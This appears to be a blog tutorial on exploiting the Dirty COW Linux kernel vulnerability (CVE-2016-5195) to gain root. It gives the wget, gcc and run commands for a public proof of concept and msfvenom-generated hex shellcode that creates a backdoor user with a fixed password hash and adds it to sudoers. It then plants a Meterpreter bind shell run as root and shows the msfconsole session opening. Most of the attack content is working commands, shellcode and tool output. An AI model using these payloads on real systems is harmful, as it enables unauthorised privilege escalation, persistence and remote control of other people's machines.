Dirty COW (CVE-2016-5195) is the latest vulnerability to be given a brand and is being dubbed the biggest privilege escalation vulnerability to date on Linux.

Dirty Cow Logo

https://dirtycow.ninja/

The reason for all the hype is because of the amount of devices the vulnerability affects as it has been in the linux kernel since 2.6.22 (2007) and is easily exploitable reliably. That’s enough of the background info, follow the link above if you want to learn more.

The following example uses this exploit code https://gist.github.com/rverton/e9d4ff65d703a9084e85fa9df083c679 which basically uses the vulnerability to overwrite the /usr/bin/passwd binary with our binary and then runs it. This runs our injected code as root due to the original binary having SUID set.

When running any of the POC’s available you will first need to turn “dirty_writeback_centisecs” off otherwise the kernel becomes unstable and crashes.

If you just want a root shell then you can just download, compile and run the above code to give you a bash shell.

wget https://gist.githubusercontent.com/rverton/e9d4ff65d703a9084e85fa9df083c679/raw/9b1b5053e72a58b40b28d6799cf7979c53480715/cowroot.c
gcc -pthread cowroot.c -o cowroot
./cowroot

echo 0 > /proc/sys/vm/dirty_writeback_centisecs

NOTE: The gcc command will give you warnings which can be ignored.

The above gives us a stable shell where we can access any file we want.

The shellcode this exploit injects can be changed to perform other tasks

  • Add users
  • Get users hash
  • Add users to sudoers
  • Run meterpreter shells

The shell code can be created using msfvenom, the below creates shellcode which will add a new user and then add that user to sudoers.

msfvenom -p linux/x64/exec CMD="echo 0 > /proc/sys/vm/dirty_writeback_centisecs; useradd test2 -m -s /bin/bash; sed  's/test2.*:/test2:\$6\$TS7FNSkg\$tWUYOc5OWNe9bNMTdhXvzC2YSgkQsB\/pfumVfCbtCr6aRF3EurkF0liJkn0el34HgyAHXSjN\/ctQTLLmt56jb.:17098:0:99999:7:::/m' -i /etc/shadow; echo \"test2   ALL=(ALL:ALL) ALL\" >> /etc/sudoers.d/test; chown root.root /etc/sudoers.d/test;" PrependSetuid=True -f elf | xxd -i

No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86_64 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 383 bytes

  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xf7, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x76, 0x03, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x50, 0x01, 0x00, 0x00, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x30, 0x20, 0x3e,
  0x20, 0x2f, 0x70, 0x72, 0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76,
  0x6d, 0x2f, 0x64, 0x69, 0x72, 0x74, 0x79, 0x5f, 0x77, 0x72, 0x69, 0x74,
  0x65, 0x62, 0x61, 0x63, 0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x73,
  0x65, 0x63, 0x73, 0x3b, 0x20, 0x75, 0x73, 0x65, 0x72, 0x61, 0x64, 0x64,
  0x20, 0x74, 0x65, 0x73, 0x74, 0x32, 0x20, 0x2d, 0x6d, 0x20, 0x2d, 0x73,
  0x20, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x3b, 0x20,
  0x73, 0x65, 0x64, 0x20, 0x20, 0x27, 0x73, 0x2f, 0x74, 0x65, 0x73, 0x74,
  0x32, 0x2e, 0x2a, 0x3a, 0x2f, 0x74, 0x65, 0x73, 0x74, 0x32, 0x3a, 0x24,
  0x36, 0x24, 0x54, 0x53, 0x37, 0x46, 0x4e, 0x53, 0x6b, 0x67, 0x24, 0x74,
  0x57, 0x55, 0x59, 0x4f, 0x63, 0x35, 0x4f, 0x57, 0x4e, 0x65, 0x39, 0x62,
  0x4e, 0x4d, 0x54, 0x64, 0x68, 0x58, 0x76, 0x7a, 0x43, 0x32, 0x59, 0x53,
  0x67, 0x6b, 0x51, 0x73, 0x42, 0x5c, 0x2f, 0x70, 0x66, 0x75, 0x6d, 0x56,
  0x66, 0x43, 0x62, 0x74, 0x43, 0x72, 0x36, 0x61, 0x52, 0x46, 0x33, 0x45,
  0x75, 0x72, 0x6b, 0x46, 0x30, 0x6c, 0x69, 0x4a, 0x6b, 0x6e, 0x30, 0x65,
  0x6c, 0x33, 0x34, 0x48, 0x67, 0x79, 0x41, 0x48, 0x58, 0x53, 0x6a, 0x4e,
  0x5c, 0x2f, 0x63, 0x74, 0x51, 0x54, 0x4c, 0x4c, 0x6d, 0x74, 0x35, 0x36,
  0x6a, 0x62, 0x2e, 0x3a, 0x31, 0x37, 0x30, 0x39, 0x38, 0x3a, 0x30, 0x3a,
  0x39, 0x39, 0x39, 0x39, 0x39, 0x3a, 0x37, 0x3a, 0x3a, 0x3a, 0x2f, 0x6d,
  0x27, 0x20, 0x2d, 0x69, 0x20, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x73, 0x68,
  0x61, 0x64, 0x6f, 0x77, 0x3b, 0x20, 0x65, 0x63, 0x68, 0x6f, 0x20, 0x22,
  0x74, 0x65, 0x73, 0x74, 0x32, 0x20, 0x20, 0x20, 0x41, 0x4c, 0x4c, 0x3d,
  0x28, 0x41, 0x4c, 0x4c, 0x3a, 0x41, 0x4c, 0x4c, 0x29, 0x20, 0x41, 0x4c,
  0x4c, 0x22, 0x20, 0x3e, 0x3e, 0x20, 0x2f, 0x65, 0x74, 0x63, 0x2f, 0x73,
  0x75, 0x64, 0x6f, 0x65, 0x72, 0x73, 0x2e, 0x64, 0x2f, 0x74, 0x65, 0x73,
  0x74, 0x3b, 0x20, 0x63, 0x68, 0x6f, 0x77, 0x6e, 0x20, 0x72, 0x6f, 0x6f,
  0x74, 0x2e, 0x72, 0x6f, 0x6f, 0x74, 0x20, 0x2f, 0x65, 0x74, 0x63, 0x2f,
  0x73, 0x75, 0x64, 0x6f, 0x65, 0x72, 0x73, 0x2e, 0x64, 0x2f, 0x74, 0x65,
  0x73, 0x74, 0x3b, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05

We need the HEX code so copy the above and edit cowroot.c

NOTE: this is compiled for x86_64 so will not work on 32bit installations.

Change sc array to equal the above shell code and then change sc_len to equal the length of the above shell code in this case its 503.

As stated above this will create a new user and add them to sudoers. Sudoers configuration does not currently persist through a reboot and syncing writes to disk crashes the server.

Perform the previous steps to compile the code and run it. You can then use “test2” user account using password “test01”, to change this password you’ll need to change the hash in the shadow file or in the shell code.

Using Meterpreter

Instead of creating a user we can create a meterpreter payload and use dirty cow to run it as root. First we need to create the meterpreter payload again using msfvenom:

msfvenom -p linux/x86/meterpreter/bind_tcp -f elf -o meterpreter

Copy this new binary to your target, in my case i just coped it to the test account home space I was using above. We now need to generate the payload to put in the above cowroot, using the same payload we will just change the commands:

msfvenom -p linux/x86/exec -f elf PrependSetuid=True CMD="echo 0 > /proc/sys/vm/dirty_writeback_centisecs; /home/test/./meterpreter &" | xxd -i
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 118 bytes

  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0xca, 0x00, 0x00, 0x00,
  0x40, 0x01, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x4c, 0x00, 0x00, 0x00,
  0x65, 0x63, 0x68, 0x6f, 0x20, 0x30, 0x20, 0x3e, 0x20, 0x2f, 0x70, 0x72,
  0x6f, 0x63, 0x2f, 0x73, 0x79, 0x73, 0x2f, 0x76, 0x6d, 0x2f, 0x64, 0x69,
  0x72, 0x74, 0x79, 0x5f, 0x77, 0x72, 0x69, 0x74, 0x65, 0x62, 0x61, 0x63,
  0x6b, 0x5f, 0x63, 0x65, 0x6e, 0x74, 0x69, 0x73, 0x65, 0x63, 0x73, 0x3b,
  0x20, 0x2f, 0x68, 0x6f, 0x6d, 0x65, 0x2f, 0x74, 0x65, 0x73, 0x74, 0x2f,
  0x2e, 0x2f, 0x6d, 0x65, 0x74, 0x65, 0x72, 0x70, 0x72, 0x65, 0x74, 0x65,
  0x72, 0x20, 0x26, 0x00, 0x57, 0x53, 0x89, 0xe1, 0xcd, 0x80

Compile and run as above and we can then connect to the meterpreter using msfconsole:

msf > use multi/handler
msf exploit(handler) > set payload linux/x86/meterpreter/bind_tcp
payload => linux/x86/meterpreter/bind_tcp
msf exploit(handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/meterpreter/bind_tcp):

   Name          Current Setting  Required  Description
   ----          ---------------  --------  -----------
   DebugOptions  0                no        Debugging options for POSIX meterpreter
   LPORT         4444             yes       The listen port
   RHOST                          no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > set RHOST 192.168.57.10
RHOST => 192.168.57.10
msf exploit(handler) > exploit

[*] Started bind handler
[*] Starting the payload handler...
[*] Transmitting intermediate stager for over-sized stage...(105 bytes)
[*] Sending stage (1495598 bytes) to 192.168.57.10
[*] Meterpreter session 1 opened (192.168.57.11:42828 -> 192.168.57.10:4444) at 2016-11-06 15:40:54 +0000

You should now have a meterpreter shell as root.